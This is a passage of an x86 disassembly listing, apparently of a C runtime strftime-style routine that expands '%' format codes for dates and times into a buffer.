ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_432861 ; --------------------------------------------------------------------------- loc_4328DE: ; CODE XREF: .nsp0:0043286Ej mov dword ptr [ebp-10h], 0 jmp short loc_4328F0 ; --------------------------------------------------------------------------- loc_4328E7: ; CODE XREF: .nsp0:00432964j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_4328F0: ; CODE XREF: .nsp0:004328E5j cmp dword ptr [ebp-10h], 0Ch jnb short loc_432966 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_4328E7 ; --------------------------------------------------------------------------- loc_432966: ; CODE XREF: .nsp0:004328F4j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_432A46: ; CODE XREF: .nsp0:00432829j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_432A70 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A70 proc near ; CODE XREF: .nsp0:00432A65p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_10], 0 jnz short loc_432A86 mov eax, off_4525E8 mov [ebp+var_10], eax jmp short loc_432A8C ; --------------------------------------------------------------------------- loc_432A86: ; CODE XREF: sub_432A70+Aj mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx loc_432A8C: ; CODE XREF: sub_432A70+14j mov edx, [ebp+var_10] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_432ACA push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_8], 1 jmp short loc_432AD1 ; --------------------------------------------------------------------------- loc_432ACA: ; CODE XREF: sub_432A70+3Aj mov [ebp+var_8], 0 loc_432AD1: ; CODE XREF: sub_432A70+58j ; sub_432A70:loc_432BBDj cmp [ebp+var_C], 0 jbe loc_432BC2 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_432AF1 cmp [ebp+var_14], 25h jz short loc_432AF6 jmp short loc_432B50 ; --------------------------------------------------------------------------- loc_432AF1: ; CODE XREF: sub_432A70+77j jmp loc_432BC2 ; --------------------------------------------------------------------------- loc_432AF6: ; CODE XREF: sub_432A70+7Dj mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4EFC1C, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_432B27 mov dword_4EFC1C, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_432B27: ; CODE XREF: sub_432A70+A2j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_432C00 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_432BBD ; --------------------------------------------------------------------------- loc_432B50: ; CODE XREF: sub_432A70+7Fj mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_432B98 cmp [ebp+var_C], 1 jbe short loc_432B98 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_432B98: ; CODE XREF: sub_432A70+FBj ; sub_432A70+101j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_432BBD: ; CODE XREF: sub_432A70+DEj jmp loc_432AD1 ; --------------------------------------------------------------------------- loc_432BC2: ; CODE XREF: sub_432A70+65j ; sub_432A70:loc_432AF1j cmp [ebp+var_8], 0 jz short loc_432BD4 push 13h call sub_41FBE0 add esp, 4 jmp short loc_432BDF ; --------------------------------------------------------------------------- loc_432BD4: ; CODE XREF: sub_432A70+156j push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_432BDF: ; CODE XREF: sub_432A70+162j cmp [ebp+var_C], 0 jbe short loc_432BF3 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_432BF5 ; --------------------------------------------------------------------------- loc_432BF3: ; CODE XREF: sub_432A70+173j xor eax, eax loc_432BF5: ; CODE XREF: sub_432A70+181j mov esp, ebp pop ebp retn sub_432A70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432C00 proc near ; CODE XREF: sub_432A70+CDp ; sub_4333D0+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_433168 mov eax, [ebp+var_C] xor edx, edx mov dl, byte_4331C9[eax] jmp off_43316D[edx*4] loc_432C33: ; DATA XREF: .nsp0:0043319Do mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_433220 add esp, 0Ch jmp loc_433168 ; --------------------------------------------------------------------------- loc_432C55: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433171o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_433220 add esp, 0Ch jmp loc_433168 ; --------------------------------------------------------------------------- loc_432C78: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331A1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_433220 add esp, 0Ch jmp loc_433168 ; --------------------------------------------------------------------------- loc_432C9B: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433175o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_433220 add esp, 0Ch jmp loc_433168 ; --------------------------------------------------------------------------- loc_432CBE: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331A5o cmp dword_4EFC1C, 0 jz short loc_432D46 mov dword_4EFC1C, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_4333D0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_432D00 jmp loc_433168 ; --------------------------------------------------------------------------- loc_432D00: ; CODE XREF: sub_432C00+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4333D0 add esp, 14h jmp short loc_432DB9 ; --------------------------------------------------------------------------- loc_432D46: ; CODE XREF: sub_432C00+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_4333D0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_432D75 jmp loc_433168 ; --------------------------------------------------------------------------- loc_432D75: ; CODE XREF: sub_432C00+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4333D0 add esp, 14h loc_432DB9: ; CODE XREF: sub_432C00+144j jmp loc_433168 ; --------------------------------------------------------------------------- loc_432DBE: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331A9o mov ecx, dword_4EFC1C mov dword_4EFC20, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432DE8: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433179o mov eax, dword_4EFC1C mov dword_4EFC20, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432E10: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:0043317Do mov edx, dword_4EFC1C mov dword_4EFC20, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_432E3A mov [ebp+var_4], 0Ch loc_432E3A: ; CODE XREF: sub_432C00+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432E55: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331ADo mov edx, dword_4EFC1C mov dword_4EFC20, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432E82: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331B1o mov ecx, dword_4EFC1C mov dword_4EFC20, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432EAF: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433181o mov eax, dword_4EFC1C mov dword_4EFC20, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432ED7: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331B5o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_432EFC mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_433220 add esp, 0Ch jmp short loc_432F16 ; --------------------------------------------------------------------------- loc_432EFC: ; CODE XREF: sub_432C00+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_433220 add esp, 0Ch loc_432F16: ; CODE XREF: sub_432C00+2FAj jmp loc_433168 ; --------------------------------------------------------------------------- loc_432F1B: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433185o mov edx, dword_4EFC1C mov dword_4EFC20, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432F44: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433189o mov ecx, dword_4EFC1C mov dword_4EFC20, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_432FAD ; --------------------------------------------------------------------------- loc_432F5B: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331B9o mov ecx, dword_4EFC1C mov dword_4EFC20, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_432F85: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:0043318Do mov eax, dword_4EFC1C mov dword_4EFC20, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_432FA1 mov [ebp+var_8], 6 jmp short loc_432FAD ; --------------------------------------------------------------------------- loc_432FA1: ; CODE XREF: sub_432C00+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_432FAD: ; CODE XREF: sub_432C00+359j ; sub_432C00+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_432FC1 mov [ebp+var_4], 0 jmp short loc_432FEE ; --------------------------------------------------------------------------- loc_432FC1: ; CODE XREF: sub_432C00+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_432FEE mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_432FEE: ; CODE XREF: sub_432C00+3BFj ; sub_432C00+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_433009: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331BDo cmp dword_4EFC1C, 0 jz short loc_433040 mov dword_4EFC1C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_4333D0 add esp, 14h jmp short loc_433062 ; --------------------------------------------------------------------------- loc_433040: ; CODE XREF: sub_432C00+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_4333D0 add esp, 14h loc_433062: ; CODE XREF: sub_432C00+43Ej jmp loc_433168 ; --------------------------------------------------------------------------- loc_433067: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433191o mov dword_4EFC1C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_4333D0 add esp, 14h jmp loc_433168 ; --------------------------------------------------------------------------- loc_433098: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:004331C1o mov eax, dword_4EFC1C mov dword_4EFC20, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_433270 add esp, 10h jmp loc_433168 ; --------------------------------------------------------------------------- loc_4330CE: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433195o mov edx, dword_4EFC1C mov dword_4EFC20, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_433270 add esp, 10h jmp short loc_433168 ; --------------------------------------------------------------------------- loc_43311B: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:00433199o call sub_42DF20 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_451DD4[eax*4] push ecx call sub_433220 add esp, 0Ch jmp short loc_433168 ; --------------------------------------------------------------------------- loc_433146: ; CODE XREF: sub_432C00+2Cj ; DATA XREF: .nsp0:off_43316Do mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_433168: ; CODE XREF: sub_432C00+1Bj ; sub_432C00+2Cj ... pop esi mov esp, ebp pop ebp retn sub_432C00 endp ; --------------------------------------------------------------------------- off_43316D dd offset loc_433146 ; DATA XREF: sub_432C00+2Cr dd offset loc_432C55 dd offset loc_432C9B dd offset loc_432DE8 dd offset loc_432E10 dd offset loc_432EAF dd offset loc_432F1B dd offset loc_432F44 dd offset loc_432F85 dd offset loc_433067 dd offset loc_4330CE dd offset loc_43311B dd offset loc_432C33 dd offset loc_432C78 dd offset loc_432CBE dd offset loc_432DBE dd offset loc_432E55 dd offset loc_432E82 dd offset loc_432ED7 dd offset loc_432F5B dd offset loc_433009 dd offset loc_433098 dd offset loc_433168 byte_4331C9 db 0 ; DATA XREF: sub_432C00+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433220 proc near ; CODE XREF: sub_432C00+48p ; sub_432C00+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_433223: ; CODE XREF: sub_433220+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_433266 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_433266 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_433223 ; --------------------------------------------------------------------------- loc_433266: ; CODE XREF: sub_433220+9j ; sub_433220+13j pop ebp retn sub_433220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433270 proc near ; CODE XREF: sub_432C00+1DBp ; sub_432C00+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp dword_4EFC20, 0 jz short loc_43329A mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_433320 add esp, 0Ch jmp short loc_433319 ; --------------------------------------------------------------------------- loc_43329A: ; CODE XREF: sub_433270+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_433310 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_4332B8 ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_433270+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_4332B8: ; CODE XREF: sub_433270+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_4332F4 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4332AF ; --------------------------------------------------------------------------- loc_4332F4: ; CODE XREF: sub_433270+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_433319 ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: sub_433270+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_433319: ; CODE XREF: sub_433270+28j ; sub_433270+9Ej mov esp, ebp pop ebp retn sub_433270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433320 proc near ; CODE XREF: sub_433270+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_43337B loc_433336: ; CODE XREF: sub_433320+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_43337B mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_433336 loc_43337B: ; CODE XREF: sub_433320+14j ; sub_433320+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_433394: ; CODE XREF: sub_433320+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_433394 mov esp, ebp pop ebp retn sub_433320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4333D0 proc near ; CODE XREF: sub_432C00+EBp ; sub_432C00+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_4333D6: ; CODE XREF: sub_4333D0+2EAj ; sub_4333D0:loc_43379Bj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_43384C mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_43384C mov [ebp+var_8], 0 mov dword_4EFC20, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_433416 ; --------------------------------------------------------------------------- loc_43340D: ; CODE XREF: sub_4333D0+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_433416: ; CODE XREF: sub_4333D0+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_433431 jmp short loc_43340D ; --------------------------------------------------------------------------- loc_433431: ; CODE XREF: sub_4333D0+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_4337A0 mov ecx, [ebp+var_14] xor eax, eax mov al, byte_43387C[ecx] jmp off_433850[eax*4] loc_433468: ; DATA XREF: .nsp0:0043385Co mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_4334A1 mov ecx, [ebp+var_18] jmp dword ptr loc_4338CF[ecx*4] mov dword_4EFC20, 1 loc_433491: ; CODE XREF: sub_4333D0+B0j mov [ebp+var_8], 6Dh jmp 